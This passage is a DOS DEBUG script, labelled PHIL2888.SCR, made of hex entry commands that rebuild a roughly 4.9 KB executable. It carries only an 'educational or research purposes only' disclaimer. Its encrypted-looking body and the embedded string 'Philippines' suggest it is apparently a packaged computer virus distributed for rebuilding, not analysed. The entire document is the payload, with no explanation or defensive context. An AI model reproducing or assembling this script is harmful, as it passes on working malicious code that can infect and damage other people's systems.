79 20 66 6F 72 20 65 64 75 63 E 0290 61 74 69 6F 6E 61 6C 20 6F 72 20 72 65 73 65 61 E 02A0 72 63 68 20 70 75 72 70 6F 73 65 73 20 6F 6E 6C E 02B0 79 2E 0D 0A 0A 24 08 20 1A 20 20 20 20 20 20 20 E 02C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 02D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 02E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 02F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0310 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0320 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0330 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0340 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0350 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0360 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0370 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0380 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0390 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 03A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 03B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 03C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 03D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 03E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 03F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0400 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0410 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0420 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0430 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0440 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0450 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0460 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0470 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0480 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0490 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 04A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 04B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 04C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 04D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 04E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 04F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0500 0E 1F BA 07 01 B4 09 CD 21 B4 4C CD 21 20 20 20 E 0510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0520 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0530 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0540 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0550 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0560 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0570 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0580 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0590 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 05A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 05B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 05C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 05D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 05E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 05F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0600 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0610 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0620 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0630 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0640 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0650 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0660 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0670 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0680 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0690 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 06A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 06B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 06C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 06D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 06E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 06F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0700 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0710 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0720 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0730 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0740 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0750 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0760 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0770 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0780 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0790 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 07A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 07B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 07C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 07D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 07E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 07F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0800 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0820 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0830 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0840 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0850 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0860 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0870 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0880 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 0890 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 08A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 08B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 08C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 E 08D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 08E0 BF EB 08 57 5E AC 2C 58 AA 4B 75 51 E4 20 40 58 E 08F0 58 B5 DB 45 69 E8 41 15 58 E6 5E D2 63 8B 57 E3 E 0900 4F 11 A0 63 4B FC 5E 77 1B 13 8A 63 16 9C 9C AE E 0910 54 1B 40 81 5C 62 2A CD 60 5A 2E 28 42 62 2A CC E 0920 49 1B 54 E3 32 AA E2 5F 62 18 CC 66 94 B9 CA 5F E 0930 94 D2 CF 5B D8 87 78 9B 43 44 E3 23 99 B6 83 26 E 0940 A9 76 5F 08 86 E3 52 4A 06 10 B0 9D 90 7D CD 67 E 0950 91 9D 59 CD 92 66 5F 86 1E 5E CD 63 59 43 8E 10 E 0960 A7 A5 91 9D 59 CD 80 D8 95 9B CD 7B B1 A9 DB 41 E 0970 5C 10 B4 92 90 9D 57 CC 60 90 BD 57 CC 5B A7 3A E 0980 4B E3 4F 66 5F 17 0F 58 11 63 58 4B FE CD 1E 86 E 0990 1E 5E CD 63 58 B1 1B 9B A7 A5 A5 99 A6 9C 86 9B E 09A0 A7 A5 58 58 D8 58 2B 79 B4 58 2B 79 C4 58 2B 79 E 09B0 58 5A 68 58 58 58 16 41 58 5B 4D E3 56 12 AC 62 E 09C0 09 5B 04 2A 20 02 A2 CD 51 4D 2F 58 70 07 B4 4F E 09D0 25 72 A8 BD F9 E2 AD A2 03 27 2D 08 E6 C5 E8 81 E 09E0 EA 1D 77 E2 53 1E 53 F6 2A BF 4A DA 1D D1 02 53 E 09F0 2E 53 F6 2A 53 DE D3 B0 2A A2 A6 79 05 32 E4 81 E 0A00 EA E6 1C DA BE 25 A4 FA 71 FA C6 E6 DD D5 BE 4C E 0A10 70 87 B2 B7 20 2A 25 0C FA B0 87 50 9F 0A E2 25 E 0A20 D7 FA EC 25 B4 22 79 F3 CF E2 DA D7 39 FA EA 7D E 0A30 88 9F 62 E2 6D FF EC 8D 64 BE 4C 53 FC 92 36 2A E 0A40 A7 03 FB 25 B6 FA EC 67 EA 4C 12 2E 7D 6B CD 46 E 0A50 E4 FA 62 E2 56 E4 9F 07 FA 6D FF 12 CA 0A 60 BF E 0A60 C7 DA 78 2C 90 58 90 C8 47 95 64 37 F5 B5 98 D0 E 0A70 EC DA C6 BB E2 28 81 22 BB 4A 65 81 B7 1D 20 22 E 0A80 60 68 58 70 90 88 D2 12 25 52 FA 25 40 E2 0A CA E 0A90 C8 D0 B0 98 A8 A0 BE 53 CD 53 56 2A 13 DF 43 E2 E 0AA0 EF F6 2A 53 46 12 14 E2 53 46 12 34 E2 53 46 12 E 0AB0 54 E2 12 52 0A 6F DA D7 56 02 9F 20 E2 25 07 CD E 0AC0 32 AC 81 1A CF E2 2A 6D 07 D5 2C 2D 35 0A B5 46 E 0AD0 24 56 64 C7 FF 42 AD 1D 98 0A 25 F8 D5 53 E6 D3 E 0AE0 79 2A E2 81 1A 2E 75 CF 96 2A 6D 07 2D DA EC 52 E 0AF0 CA A7 03 7B 25 1D 02 1E D2 36 2A 46 12 46 2A A7 E 0B00 03 FB B7 09 DA 25 A4 02 52 0A B7 96 2A A7 E2 BB E 0B10 25 3C 02 71 9C 2E A4 A7 F2 F0 9F CD CD B7 7D CD E 0B20 25 BF 02 9F 2A E2 B7 20 2A 87 CB 25 77 02 71 5A E 0B30 B7 72 E2 25 FF 02 B7 B0 2A 9F F2 E2 87 CB 25 CE E 0B40 02 C6 87 D3 25 9E 02 BE 71 7A CF 20 2A D7 BB 2A E 0B50 9F 2A E2 6D 17 79 2A DE D3 B0 2A A2 A6 79 EA 1D E 0B60 9C D5 6B 74 AF 96 2A E6 C9 DA B3 79 FA 36 8A E6 E 0B70 35 E0 87 93 25 19 02 71 15 8D ED 8D DD 2A 74 79 E 0B80 FA BB E2 42 71 9C AF 97 E2 87 20 25 70 02 71 4C E 0B90 EF B1 2A B7 96 2A A7 E2 E8 25 00 02 71 A8 1E 52 E 0BA0 A1 2A A7 DA E8 6B 1C 25 93 02 71 38 A7 F2 BB 25 E 0BB0 53 02 71 F8 2E A4 1E D2 91 2A A7 E2 88 25 E3 02 E 0BC0 1E 52 06 2A 1E 92 16 2A 6B 1C 6B 74 A7 F2 F0 25 E 0BD0 52 02 EF D1 2A 1E 92 C1 2A 60 25 C5 EA B7 20 2A E 0BE0 9F E3 E2 87 CB 25 A5 EA A0 DE D3 20 2A 38 B0 81 E 0BF0 2A BB 1C 0A 71 38 1D 6E E2 1D 0A DA DF 90 2A EF E 0C00 84 E2 DF A0 2A EF D2 32 DF D0 2A EF CB 02 DF C0 E 0C10 2A EF BB 02 DF 40 2A EE D3 30 2A E2 81 DA 20 8D E 0C20 13 64 E2 EA 12 30 2A EE 74 E2 EA 12 74 E2 EE 74 E 0C30 E2 FB 65 CD EF D1 2A 1E 92 C1 2A FA 20 2A EE 74 E 0C40 E2 69 EA 1D 27 E2 8D 93 64 E2 2A 74 81 DA E0 EF E 0C50 40 2A 1E 92 30 2A 2E 92 C1 2A DF D1 2A 8D 93 74 E 0C60 E2 2B 12 60 2A EF D0 2A 0C 12 C0 2A 94 02 0C 12 E 0C70 B0 2A A2 A6 0C 12 A0 2A FF 42 EF 90 2A D5 12 5E E 0C80 DA 1D 9B F2 25 70 EA 9F C2 E2 2D 40 DF D1 2A FA E 0C90 62 E2 71 B0 FB 65 CD EF D1 2A FA 20 2A 71 48 D2 E 0CA0 0A CF 39 FA D7 20 2A 9F 62 E2 6D FF D5 12 5E DA E 0CB0 1D 59 12 53 56 D2 D1 2A CF 20 2A 88 9F 62 E2 6D E 0CC0 FF 52 CA C8 D7 1B E2 9F 1A E2 6D 07 0C 12 B0 2A E 0CD0 A2 A6 25 02 EA 9F E3 E2 B7 20 2A 87 E0 25 E2 EA E 0CE0 2E 52 06 2A 2E 92 16 2A A7 DA 88 25 75 F2 87 D3 E 0CF0 25 3D F2 2E 52 A1 2A EE 1C DA B7 96 2A A7 DA E8 E 0D00 25 BC F2 56 12 B1 2A 87 18 25 84 F2 1D 69 12 25 E 0D10 43 E2 32 74 79 F2 2D 8D 36 75 95 B4 EC E2 E2 E2 E 0D20 E2 53 2E 92 D1 2A 53 2E 52 C1 2A 53 2E D2 91 2A E 0D30 25 37 F2 9F 20 2A 6B 74 87 E0 25 EF F2 EC 6B E4 E 0D40 3C B2 53 9B 92 E6 2A 53 1E 92 E6 2A 79 42 70 87 E 0D50 43 25 46 F2 A0 53 6B 12 06 2A EA F4 EA DC 8D F5 E 0D60 EA 64 EE 9D DA 91 12 2E F4 8D DD EA 64 EC 27 3E E 0D70 96 2E 2E B6 5E CC BE 16 CC 4F 36 2E 66 86 46 D6 E 0D80 CC 87 D6 26 D6 16 D6 5E CC 66 5E CC AF B6 C6 B6 E 0D90 76 BE B6 3E CC 54 14 14 44 CC 96 5E CC 77 B6 2E E 0DA0 3E 66 CC 77 D6 5E 96 6E D6 6C CC 4F 8E 96 6E 96 E 0DB0 4E 4E 96 5E B6 46 AF F5 02 9F E2 E2 E8 53 E6 8B E 0DC0 E2 18 79 A5 C5 2E AD 08 2E 8D 12 52 CA D2 0A 9F E 0DD0 E2 E2 ED 0A 47 83 E2 37 18 79 9D D7 42 FA 2E D5 E 0DE0 BF 5B 12 5F FA 47 74 E4 37 38 79 9D D7 AA FA 2E E 0DF0 D5 9F F3 12 47 43 E2 37 18 79 9D D7 E2 E2 2E D5 E 0E00 9F 94 02 58 90 88 47 02 E2 37 18 79 9D C8 D0 98 E 0E10 58 90 88 47 95 A4 37 18 79 9D C8 D0 98 87 E2 47 E 0E20 73 04 37 18 79 9D 2E 1D 25 7C 02 0A 79 C2 46 EC E 0E30 EE EC 62 DA D2 84 E2 DA D2 CB 02 56 92 84 E2 2E E 0E40 13 D2 32 12 CA 53 CD 53 BB 02 1D BD AD 1D BD EA E 0E50 3A E3 E3 E3 3A 32 38 D9 F1 79 21 D9 99 DB 3A 32 E 0E60 32 80 21 19 69 E3 19 69 E3 60 21 19 41 60 68 58 E 0E70 70 90 88 D2 12 25 37 B5 53 E6 D3 79 2A DA 81 22 E 0E80 53 2E 53 F6 2A 1D 12 C5 CF 96 2A 2E 75 88 6D 07 E 0E90 52 CA B0 A7 E2 BB 25 08 DA 71 FD 2E A4 B7 72 E2 E 0EA0 25 A3 DA B7 B0 2A 9F F2 E2 87 CB 25 73 DA 87 D3 E 0EB0 25 3B DA 0A CA C8 D0 B0 98 A8 A0 78 EC 25 9B B5 E 0EC0 25 48 B5 D7 D3 FA 26 82 D7 E2 E2 2E D5 9F 94 02 E 0ED0 58 90 88 47 73 F4 37 F5 B5 C8 D0 98 58 90 88 47 E 0EE0 95 A4 37 F5 B5 25 0B D5 D7 23 FA 26 82 C8 D0 98 E 0EF0 47 F2 14 37 F5 B5 25 F8 D5 2E 24 D7 65 02 BF B0 E 0F00 12 AB 3C 91 DB 5C 1D 5C 1D 5C 1D 5C 1D AB 3C 91 E 0F10 7A 53 2B 52 D1 2A DE DD CD 4A AB 3C 91 22 6B AC E 0F20 2E 3C 1E C2 2D 12 2E BC 2B 9C 1E C2 D7 B4 02 1E E 0F30 42 58 68 25 9C BD D7 92 FA 26 82 CF AA FA 2E 8D E 0F40 9F F3 12 47 33 14 37 F5 B5 D7 42 FA 2E D5 B7 5B E 0F50 12 9F FA E2 47 74 24 37 30 79 9D 98 ED BA 58 25 E 0F60 67 9D D7 95 02 26 82 D7 ED 02 CF B0 12 98 2B 9D E 0F70 EA 8D 2E D5 47 73 F4 37 18 79 9D 25 86 9D D7 ED E 0F80 02 98 CF E5 02 26 7A 2E D5 47 73 F4 37 F5 B5 52 E 0F90 0A 25 3E BD 52 CA 1D 2D C5 70 D2 12 2E B4 E6 C9 E 0FA0 DA B3 79 02 36 0A 2D 0A 87 9A 25 6B E2 02 D8 52 E 0FB0 CA D2 0A F7 55 32 87 B3 CF 96 2A 2E 4D C5 2F B7 E 0FC0 55 32 25 28 B5 71 52 D7 11 2A 47 37 32 E4 79 B5 E 0FD0 2E 7C 25 FA AD 0A CA B0 EC 6B 74 6B 1C A7 E2 F0 E 0FE0 C6 53 CD D2 56 2A EC E2 E4 CC E5 CC E5 CC E5 CC E 0FF0 E5 CC E5 EF E5 E2 E4 F4 E5 F4 E5 74 E5 74 E5 74 E 1000 E5 67 E5 E2 E4 CC E5 CC E5 CC E5 CC E5 CC E5 64 E 1010 E5 E2 E4 CC E5 CC E5 CC E5 CC E5 CC E5 CC E5 64 E 1020 E5 E2 E4 F4 E5 F4 E5 74 E5 74 E5 74 E5 67 E5 E2 E 1030 E4 CC E5 CC E5 CC E5 CC E5 CC E5 CC E5 EF E5 E2 E 1040 E4 CC E5 CC E5 CC E5 CC E5 CC E5 CC E5 E2 E4 F4 E 1050 E5 F4 E5 74 E5 74 E5 74 E5 67 E5 F4 E5 F4 E5 E2 E 1060 E4 EF E5 CC E5 CC E5 CC E5 CC E5 64 E5 E2 E4 CC E 1070 E5 74 E5 74 E5 74 E5 67 E5 E2 E4 64 E5 CC E5 CC E 1080 E5 CC E5 CC E5 EF E5 E2 E4 EF E5 CC E5 CC E5 EF E 1090 E5 E2 E4 74 E5 74 E5 74 E5 67 E5 E2 E4 64 E5 CC E 10A0 E5 CC E5 64 E5 44 C6 53 CD 12 26 2A 79 4A 53 D5 E 10B0 52 81 2A 79 22 53 E6 D3 5E DA 24 69 12 BE 53 CD E 10C0 53 76 2A BE C5 52 CA D2 0A D7 0A 0A 9F D7 E2 25 E 10D0 76 9D AF E2 A7 3C 5A 03 63 C3 63 79 EA AF E2 67 E 10E0 56 AC 6B 95 CF 17 42 9F 64 0A 58 88 90 6D FF A7 E 10F0 EA E2 3C 62 87 DA 9F 1A 1A 3C 62 52 D2 0A CA C8 E 1100 D0 98 BF E7 4A 6D FF 6B AC 9F 4A E2 58 D7 C8 0A E 1110 2E AD AB BC 71 EA 25 6E DA 9F 0A E2 6D FF D7 39 E 1120 0A 2E AD DE 0C E7 E2 9F 1A E2 6D FF D7 C8 0A 2E E 1130 AD DE 0C E0 DA 9F 0A E2 6D FF 8D 5C 6D 47 EE EC E 1140 F2 98 F5 24 9F EA E2 58 D7 5B 0A 2E AD AB BC 71 E 1150 EA 25 A0 DA 9F 22 E2 6D FF D7 D8 0A 2E AD DE 0C E 1160 E7 E2 9F 0A E2 6D FF D7 48 0A 2E AD DE 0C E0 DA E 1170 9F 22 E2 6D FF 8D 5C 6D 47 EE EC F2 98 F5 24 9F E 1180 EA E2 58 D7 C9 0A 2E AD AB BC 71 EA 25 BA DA 9F E 1190 0A E2 6D FF D7 3E 0A 2E AD DE 0C E7 E2 9F 12 E2 E 11A0 6D FF D7 9E 0A 2E AD DE 0C E0 DA 9F 0A E2 6D FF E 11B0 8D 5C 6D 47 EE EC F2 98 F5 24 9F EA E2 58 D7 0F E 11C0 0A 2E AD AB BC 71 EA 25 F5 E2 9F FA E2 6D FF D7 E 11D0 5F 0A 2E AD DE 0C E7 E2 9F FA E2 6D FF D7 AF 0A E 11E0 2E AD DE 0C E0 DA 9F FA E2 6D FF 8D 5C 6D 47 EE E 11F0 EC F2 98 F5 24 9F 02 E2 58 D7 0A 0A 2E AD AB BC E 1200 71 EA 25 0F E2 9F 0A E2 6D FF D7 7A 0A 2E AD DE E 1210 0C E7 E2 9F 0A E2 6D FF D7 EB 0A 2E AD DE 0C E0 E 1220 DA 9F 0A E2 6D FF 8D 5C 6D 47 EE EC F2 98 F5 24 E 1230 1D 94 D5 87 30 AF AC E2 3C DB 52 CA 0C 12 26 2A E 1240 E2 E2 14 12 81 2A 02 A7 DB 7B 3C DB 46 12 66 2A E 1250 1E D2 56 2A 87 FB B7 76 DA 25 06 BD A7 22 7B 25 E 1260 D1 BD 46 12 86 2A 1E D2 76 2A 87 FB B7 FC 0A 25 E 1270 51 BD 56 12 F6 2A 6B CD 9F D5 CD 73 E4 75 57 13 E 1280 A3 FA E5 9D EE 0C EA 2E 8C 52 12 CA 0A 25 1A BD E 1290 A7 E2 28 AF F4 E2 25 08 BD D2 0A 87 18 25 E0 BD E 12A0 87 38 25 AB BD 87 5B B7 AC E2 3C DB A0 3B 1A E2 E 12B0 60 D7 17 42 6B CD 88 9F 64 0A 6D FF CF 62 E2 8D E 12C0 5C 6D 47 48 79 9D A8 EC E6 C5 BB 81 EA 1D 42 8D E 12D0 53 1E 53 F6 2A BF AD 1A 1D 76 AD 53 2E 53 F6 2A E 12E0 53 DE D3 B0 2A A2 A6 81 EA 1D 37 8D BE 25 65 C5 E 12F0 9D 78 C6 A0 2E 45 1E 10 12 B8 A7 F2 E2 4C E2 E2 E 1300 67 4A 36 E5 95 84 2E A4 8D 6C 3C DB AB EC D2 12 E 1310 C6 6B E4 56 A4 04 12 01 E2 46 12 12 E2 EF 02 E2 E 1320 BE 0A CA EC 2E 53 D1 2A DE FC E2 DA 25 34 7D 25 E 1330 E5 7D D7 7D E2 26 82 D7 B5 E2 9F E8 32 2E D5 47 E 1340 73 F4 37 F5 B5 D7 1D E2 B7 80 32 2E D5 5F EA 47 E 1350 74 E4 37 30 79 9D AF 2A E2 68 EA BC CF 3B E2 D7 E 1360 FA E2 53 1E 3B 1E C0 C5 25 07 9D 26 80 F2 D0 9F E 1370 73 2A 2E D5 47 33 14 37 F5 B5 52 0A 25 F7 9D 1D E 1380 5B 9D 52 CA 52 0A 67 E2 9F 46 E2 B7 96 2A 2E B5 E 1390 75 57 A7 C0 B3 48 A3 F8 CD 81 0A A3 F9 CD 81 F2 E 13A0 2D 6D 2E 4D D7 95 32 9F 32 E2 6D 07 25 D9 95 71 E 13B0 B2 D7 11 2A 2E BD 47 37 32 E4 79 B5 A7 DA E8 6B E 13C0 1C 25 C2 C5 71 FA 87 D8 25 7A C5 1D 39 95 D8 B3 E 13D0 33 53 F8 A0 F8 E2 E8 20 28 40 18 68 80 53 33 E2 E 13E0 88 71 19 81 81 F9 51 E3 F1 99 E3 60 79 81 49 29 E 13F0 69 D9 E3 28 D9 89 D9 99 D9 51 E3 49 51 E3 00 F9 E 1400 E9 F9 39 F1 F9 71 E3 5B 9B 9B 6B E3 19 51 E3 38 E 1410 F9 81 71 49 E3 38 D9 51 19 41 D9 43 E3 50 68 69 E 1420 6C 69 70 70 69 6E 65 73 RCX 1328 W Q ÄÄ PHIL2888.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ EoF.